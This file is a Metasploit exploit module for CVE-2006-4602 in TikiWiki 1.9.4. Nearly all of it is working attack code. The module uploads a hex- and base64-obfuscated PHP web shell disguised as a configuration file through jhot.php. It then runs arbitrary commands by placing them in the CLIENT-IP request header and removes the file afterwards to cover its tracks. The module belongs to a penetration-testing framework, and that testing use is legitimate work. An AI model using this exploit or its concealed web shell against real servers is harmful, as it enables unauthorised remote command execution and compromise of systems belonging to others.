##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TikiWiki jhot Remote Command Execution',
      'Description'    => %q{
          TikiWiki contains a flaw that may allow a malicious user to execute
          arbitrary PHP code. The issue is triggered due to the jhot.php script
          not correctly verifying uploaded files. It is possible that the flaw
          may allow arbitrary PHP code execution by uploading a malicious PHP
          script resulting in a loss of integrity.
          The vulnerability has been reported in Tikiwiki version 1.9.4.
      },
      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2006-4602'],
          ['OSVDB', '28456'],
          ['BID', '19819'],
          ['URL', 'http://secunia.com/advisories/21733/'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash telnet',
            }
        },    
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Sep 2 2006',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]),
        ], self.class)
  end

  def check
    res = send_request_raw({
      'uri'     => datastore['URI'] + "/tiki-index.php",
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res and res.message == "OK" and res.body.match(/TikiWiki 1.9.4/))
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    create_temp_file()

    command = payload.encoded
  
    exe_command(command)

    remove_temp_file()
  end

  def create_temp_file
    url_jhot = datastore['URI'] + "/jhot.php"

    scode =
      "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +
      "\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" +
      "\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" +
      "\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" +
      "\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" +
      "\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" +
      "\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" +
      "\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" +
      "\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" +
      "\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" +
      "\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" +
      "\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" +
      "\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" +
      "\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" +
      "\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" +
      "\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" +
      "\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" +
      "\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" +
      "\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" +
      "\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" +
      "\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" +
      "\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" +
      "\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" +
      "\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" +
      "\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" +
      "\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" +
      "\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" +
      "\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" +
      "\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" +
      "\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" +
      "\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" +
      "\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" +
      "\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" +
      "\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" +
      "\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" +
      "\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" +
      "\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" +
      "\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" +
      "\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" +
      "\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" +
      "\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a"

    data = 
      "-----------------------------7d529a1d23092a\r\n" +
      "Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" +
      scode +
      "\r\n" +
      "-----------------------------7d529a1d23092a--\r\n"

    res = send_request_cgi({
      'uri'     => url_jhot,
      'method'  => 'POST',
      'data'    => "#{data}",
      'headers' =>
        {
          'User-Agent'   => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
          'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a',
          'Connection'   => 'Close',
        }
    }, 25)
  
    if (res and res.message == "OK")
      print_status("Successfully created temporary file.")
    else
      print_status("Error creating temporary file.")
    end
  end
  
  def exe_command(cmd)
    url_config = datastore['URI'] + "/img/wiki/tiki-config.php"

    res = send_request_raw({
      'uri'     => url_config,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'CLIENT-IP'  => "#{cmd};",
        'Connection' => 'Close',
      }
    }, 25)
    
    if (res and res.message == "OK" and res.body.match(/my_delim/m))
      print_status("The server returned            : #{res.code} #{res.message} (#{res.headers['Server']})")

      cmd_output = res.body.match(/my_delim(.*)/m)

      if (cmd_output)
        print_status("Command output from the server :")
        print("\n" + cmd_output[1] + "\n")
      else
        print_status("This server may not be vulnerable")
      end
    else
      print_status("No response from the server")
    end
  end
  
  def remove_temp_file
    url_config = datastore['URI'] + "/img/wiki/tiki-config.php"

    res = send_request_raw({
      'uri'     => url_config,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'CLIENT-IP'  => 'rm -f tiki-config.php',
        'Connection' => 'Close',
      }
    }, 25)
  
    if (res and res.message == "OK")
      print_status("Successfully remove temporary file.")
    else
      print_status("Error removing temporary file.")
    end
  end
end